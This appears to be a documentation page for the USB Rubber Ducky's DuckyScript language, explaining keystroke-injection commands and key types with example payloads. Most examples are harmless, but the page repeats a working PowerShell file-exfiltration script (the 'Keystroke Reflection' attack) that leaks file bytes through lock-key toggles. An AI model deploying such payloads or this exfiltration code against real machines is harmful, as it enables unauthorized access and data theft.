Keystroke Injection
As we've seen from the Hello, World! example in the previous section, the
STRING
command denotes keystrokes for injection. The STRING
command accepts one or more alphanumeric, punctuation, and SPACE
characters. As you will soon see, cursor keys, system keys, modifier keys and lock keys may also be injected but without the use of the STRING
command. Keys may even be held and pressed in combination. Each new line containing a number will type the corresponding character.

The following alphanumeric keys are available:
0 1 2 3 4 5 6 7 8 9
a b c d e f g h i j k l m n o p q r s t u v w x y z
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
REM Example Alphanumeric Keystroke Injection
ATTACKMODE HID STORAGE
DELAY 2000
STRING abc123XYZ
- The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.
- After a 2 second pause, the "keyboard" (the USB Rubber Ducky in HID mode) will type "
abc123XYZ
".
All letter keys on a keyboard are lowercase. In the case of injecting the upper case letters in this example, the USB Rubber Ducky is automatically holding the
SHIFT
modifier for each character.
Similar to the alphanumeric keys, each new line containing a punctuation key will type the corresponding character.

The following punctuation keys are available:
` ~ ! @ # $ % ^ & * ( ) - _ = + [ ] { } ; : ' " , . < > / ?
REM Example Numeric and Punctuation Keystroke Injection
ATTACKMODE HID STORAGE
DELAY 2000
STRING 1+1=2
- The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.
- After a 2 second pause, the "keyboard" (the USB Rubber Ducky in HID mode) will type "
1+1=2
".
The
STRING
command will automatically interpret uppercase letters by holding the SHIFT
modifier key where necessary. It will also automatically press the SPACE
cursor key (more on that shortly), however trailing spaces will be omitted.Even for single character injections, using
STRING
is recommended.REM Example Keystroke Injection without STRING
ATTACKMODE HID STORAGE
DELAY 2000
STRING H
STRING ello, World!
- In both examples, the "
Hello, World!
" text is typed.
While DuckyScript Classic supported injecting keystrokes without the use of the
STRING
command, each on their own line, this practice is deprecated and no longer recommended. While you may see this used in older payloads it is no longer recommended to use.
REM Example Keystroke Injection without STRING
ATTACKMODE HID STORAGE
DELAY 2000
H
e
l
l
o
,
SPACE
W
o
r
l
d
!
The
STRING
command does not terminate with a carriage return. That means at the end of the STRING
command, a new line is not created. As an example, imagine injecting commands into a terminal. If the two
STRING
commands "STRING cd
" and "STRING ls
" were run one after another, the result would be "cdls
" on the same line.STRING cd
STRING ls

If you intended each command to run separately, the system key
ENTER
(covered shortly) would need to be run after each STRING
command.STRING cd
ENTER
STRING ls
ENTER
Alternatively, the
STRINGLN
command may be used. This command automatically terminates with a carriage return — meaning that ENTER
is pressed after the sequence of keys.Using
STRINGLN
in the example above would result in both the cd (change directory) command and ls (list files and directories) being executed.STRINGLN cd
STRINGLN ls

STRING
blocks can be used effectively to convert multiple lines into one without needing to prepend each line with STRING
STRING
blocks strip leading white space and ignore new lines!STRING
a
b
c
END_STRING
is the equivalent of
STRING a
STRING b
STRING c
Or in this case:
STRING abc
Deploying this payload will produce the following keystroke injection on the target machine:
abc
Good payloads will optimize the number of keystrokes that need to be injected to achieve their result as fast as possible. The result? Hard to read code that is reduced to a single line.
Below we have an example usage of
STRING
from our WINDOWS_HID_EXFIL
Extension demonstrating the Keystroke Reflection attack.
For this example its not important that we understand the PowerShell code that is getting injected - Its simply being used to demonstrate how cumbersome it is to digest a monolithic one-liner. The magic of
STRING
blocks is that the two snippets below produce the exact same result. The block format one is much easier to read and edit.STRING foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit;
STRING
foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){
foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){
If($b -band $a){
$o+="%{NUMLOCK}"
}Else{
$o+="%{CAPSLOCK}"
}
}
};
$o+="%{SCROLLLOCK}";
Add-Type -Assembly System.Windows.Forms;
[System.Windows.Forms.SendKeys]::SendWait("$o");
exit;
END_STRING
Deploying this payload will produce the following keystroke injection on the target machine:
foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit;
This is due to the fact that
STRING
blocks strip leading white space, as well as ignore new lines.
STRINGLN
blocks can be used like here-doc; allowing you to inject multiple lines as they are written in the payload. STRINGLN
blocks strip the first tab but will preserve all other formattingSTRINGLN
a
b
c
END_STRINGLN
is the equivalent of
STRINGLN a
STRINGLN b
STRINGLN c
Deploying this payload will produce the following keystroke injection on the target machine:
a
b
c
Unlike
STRING
blocks, STRINGLN
blocks will effectively inject code as its written (minus the first tab for formatting)STRINGLN
foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){
foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){
If($b -band $a){
$o+="%{NUMLOCK}"
}Else{
$o+="%{CAPSLOCK}"
}
}
};
$o+="%{SCROLLLOCK}";
Add-Type -Assembly System.Windows.Forms;
[System.Windows.Forms.SendKeys]::SendWait("$o");
exit;
END_STRING
Deploying this payload will produce the following keystroke injection on the target machine:
foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){
foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){
If($b -band $a){
$o+="%{NUMLOCK}"
}Else{
$o+="%{CAPSLOCK}"
}
}
};
$o+="%{SCROLLLOCK}";
Add-Type -Assembly System.Windows.Forms;
[System.Windows.Forms.SendKeys]::SendWait("$o");
exit;
STRING_POWERSHELL
orSTRINGLN_POWERSHELL
STRING_BATCH
orSTRINGLN_BATCH
STRING_BASH
orSTRINGLN_BASH
STRING_JAVASCRIPT
orSTRINGLN_JAVASCRIPT
STRING_PYTHON
orSTRINGLN_PYTHON
STRING_RUBY
orSTRINGLN_RUBY
STRING_HTML
orSTRINGLN_HTML
These variations work just like
STRING
or STRINGLN
blocks with the added benefit of adding auto-complete and syntax highlighting specific to the language described by the command when using PayloadStudio Pro Edition
STRING_POWERSHELL Example
This syntax will work with PayloadStudio Community edition; only syntax highlighting and auto-complete feature additions are limited to the Pro edition.
As opposed to character keys, which type a letter, number or punctuation, the cursor keys are used to navigate the cursor to a different position on the screen.
Generally, in the context of a text area, the arrow keys will move the cursor
UP
, DOWN
, LEFT
or RIGHT
of the current position. The HOME
and END
keys move the cursor to the beginning or end of a line. The PAGEUP
and PAGEDOWN
keys scroll vertically up or down a single page. The DELETE
key will remove the character to the right of the cursor, while the BACKSPACE
will remove the character to its left. The INSERT
key is typically used to switch between typing mode. The TAB
key will advance the cursor to the next tab stop, or may be used to navigate to the next user interface element. The SPACE
key will insert a space character, or may be used to select a user interface element.
The following cursor keys are available:
UPARROW DOWNARROW LEFTARROW RIGHTARROW
PAGEUP PAGEDOWN HOME END
INSERT DELETE BACKSPACE
TAB
SPACE
The shorthand aliases
UP
, DOWN
, LEFT
, and RIGHT
may be used in place of UPARROW
, DOWNARROW
, LEFTARROW
, RIGHTARROW
respectively.REM Example Keystroke Injection without Cursor Keys
ATTACKMODE HID STORAGE
DELAY 2000
STRING 456
BACKSPACE
BACKSPACE
BACKSPACE
STRING 123
HOME
STRING abc
END
STRING UVW
LEFTARROW
LEFTARROW
LEFTARROW
DELETE
DELETE
DELETE
STRING XYZ
- The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.
- After a 2 second pause, the "keyboard" will type
456
- The
BACKSPACE
key will be pressed 3 times, removing456
- The characters
123
will be typed - The
HOME
key will move the cursor to the beginning of the line - The characters
abc
will be typed - The
END
key will move the cursor to the end of the line - The characters
UVW
will be typed - The
LEFTARROW
will be pressed 3 times, then theDELETE
key will be pressed 3 times, removingUVW
- The characters
XYZ
will be typed - The final result will be
abc123XYZ
These keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface.

The following system keys are available:
ENTER
ESCAPE
PAUSE
BREAK
PRINTSCREEN
MENU
APP
F1
F2
F3
F4
F5
F6
F7
F8
F9
F0
F11
F12
Up until now only character, control and system keys have been discussed. These generally type a character, move the cursor, or perform a special action depending on the program or operating system of the target.
Modifier keys, on the other hand, are typically held in combination with another key to perform a special function. One simple example of this is holding the
SHIFT
key in combination with the letter a
key. The result will be an uppercase letter A
.A slightly more complex example would be holding the
ALT
key along with the F4
key, which typically closes a program on the Windows operating system.Common keyboard combinations for the PC include the familiar
CTRL c
for copy, CTRL x
for cut, and CTRL v
for paste. On macOS targets, these would be COMMAND c
, COMMAND x
and COMMAND v
respectively.
The following basic modifier keys are available:
SHIFT
ALT
CONTROL
CTRL
COMMAND
WINDOWS
GUI
The shorthand aliases
CTRL
and GUI
may be used in place of CONTROL
and WINDOWS
respectively.REM Example Modifier Key Combo Keystroke Injection for Windows
ATTACKMODE HID STORAGE
DELAY 2000
GUI r
DELAY 2000
BACKSPACE
STRING 123
DELAY 2000
CTRL a
CTRL c
CTRL v
CTRL v
DELAY 2000
ALT F4
- This example targets Windows systems.
- The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.
- After a 2 second pause, the
GUI r
keyboard combination will be typed. This will open the Run dialog, a feature of Windows since 1995 that allows you to open a program, document or Internet resource by typing certain commands. - After another 2 second pause, the
BACKSPACE
key will remove anything remaining in the text area from a previous session and the characters123
will be typed. - After yet another 2 second pause, the
CTRL a
keyboard combination will select all text in the text area. - The keyboard shortcuts for copy and paste twice will be typed, resulting in
123123
. - After a final 2 second pause, the Windows keyboard combination
ALT F4
will be typed, closing the Run dialog.
REM Example Modifier Key Combo Keystroke Injection for macOS
ATTACKMODE HID STORAGE VID_05AC PID_021E
DELAY 2000
COMMAND SPACE
DELAY 2000
STRING 123
DELAY 2000
COMMAND a
COMMAND c
COMMAND v
COMMAND v
DELAY 2000
ESCAPE
ESCAPE
- This example targets macOS systems.
- The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage. It is safe to ignore the advanced
VID
andPID
parameters forATTACKMODE
now — they'll be covered later on. - After a 2 second pause, and similarly to the Windows Run dialog example, the
COMMAND SPACE
keyboard combination will be typed. This will open Spotlight Search, a feature of macOS since OS X that allows you to open a program, document or Internet resource by typing certain commands. - After another 2 second pause, the characters
123
will be typed. - Similar to the previous example, after another 2 second pause the keyboard shortcuts for select all, copy, and paste twice will be typed — resulting in
123123
. - After a final 2 second pause, Spotlight Search is closed with two
ESCAPE
keys.
In addition to the basic set of modifier keys, PayloadStudio will allow you to arbitrarily combine keys separated either by
SPACE
or -
Some often used combinations may already be pre-defined in the language file:CTRL-ALT
CTRL-SHIFT
ALT-SHIFT
COMMAND-CTRL
COMMAND-CTRL-SHIFT
COMMAND-OPTION
COMMAND-OPTION-SHIFT
ATTACKMODE HID STORAGE
DELAY 2000
CTRL ALT DELETE
- The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.
- After a 2 second pause, the infamous "three finger salute" key combination will be pressed. This may be necessary for login on many Windows systems.
Normally modifier keys are held in combination with another key. However they may also be pressed by themselves. While in many circumstances this will have no substantial effect on the target, for instance simply pressing
SHIFT
by itself, some keys can sometimes prove quite useful. Since 1995, the
WINDOWS
(or more formally GUI
, an alias for the WINDOWS
key) key has opened the Start menu on Windows systems. One could technically navigate this menu by using the arrow keys and ENTER
. For instance, pressing GUI
, then UP
, then ENTER
would open the Run dialog on a Windows 95 system. However, as seen in previous examples, the keyboard shortcut GUI r
would be a much faster and more effective method of opening the Run dialog. Since Windows 7 the Start menu behavior has changed. Pressing
WINDOWS
or GUI
on its own will highlight a search textarea — from which commands, documents and Internet resources may be entered similar to the Run dialog.Similar functionality can now be found on ChromeOS and many Linux window managers.
To press a standalone modifier key in DuckyScript, it must be prefixed with the INJECT_MOD command.
REM Example Standalone Modifier Key Keystroke Injection for Windows
ATTACKMODE HID STORAGE
DELAY 2000
INJECT_MOD WINDOWS
DELAY 2000
STRING calc
DELAY 2000
ENTER
- This example targets Windows systems.
- The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.
- After a 2 second pause, the
WINDOWS
(orGUI
) key is pressed. Note theINJECT_MOD
command on the line above. - After another 2 second pause, the letters
calc
will be typed. - The Windows target will most likely select the Calculator app as the best match.
- After a final 2 second pause,
ENTER
will be pressed and the Calculator will likely open.
These keys specify a distinct mode of operation and are significant due to the bi-directional nature of the lock state. This nuance will come in handy for more advanced payloads — but for now suffice it to say that the three standard lock keys can be pressed just like any ordinary key.

The following lock keys are available:
CAPSLOCK
NUMLOCK
SCROLLLOCK
ATTACKMODE HID STORAGE
DELAY 2000
CAPSLOCK
STRING abc123XYZ
- The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage.
- After a 2 second pause, the
CAPSLOCK
key will be pressed — thus toggling the capslock state. - If capslock were off before running this payload, the characters
ABC123xyz
will be typed. - Notice how the capitalization of the keys typed are reversed when Capslock is enabled.
- Keep in mind that uppercase letters, standalone or in a
STRING
statement, automatically holdSHIFT
.
It is important to note that pressing the
CAPSLOCK
key in this example toggles the lock state. This is because the lock state is maintained by the operating system, not the keyboard. In most cases, when the key is pressed the operating system will report back to the keyboard information that indicates whether or not to light the caps lock LED on the keyboard itself.- How will the results of the above payload change if caps lock were enabled on the target before the USB Rubber Ducky payload were run?
The USB Rubber Ducky, in many cases, can determine the lock state of the target. As you will soon learn, using this information along with DuckyScript 3.0 logic, a more robust payload can be constructed which will only press the
CAPSLOCK
key if the lock state were not already enabled.
Last modified 2mo ago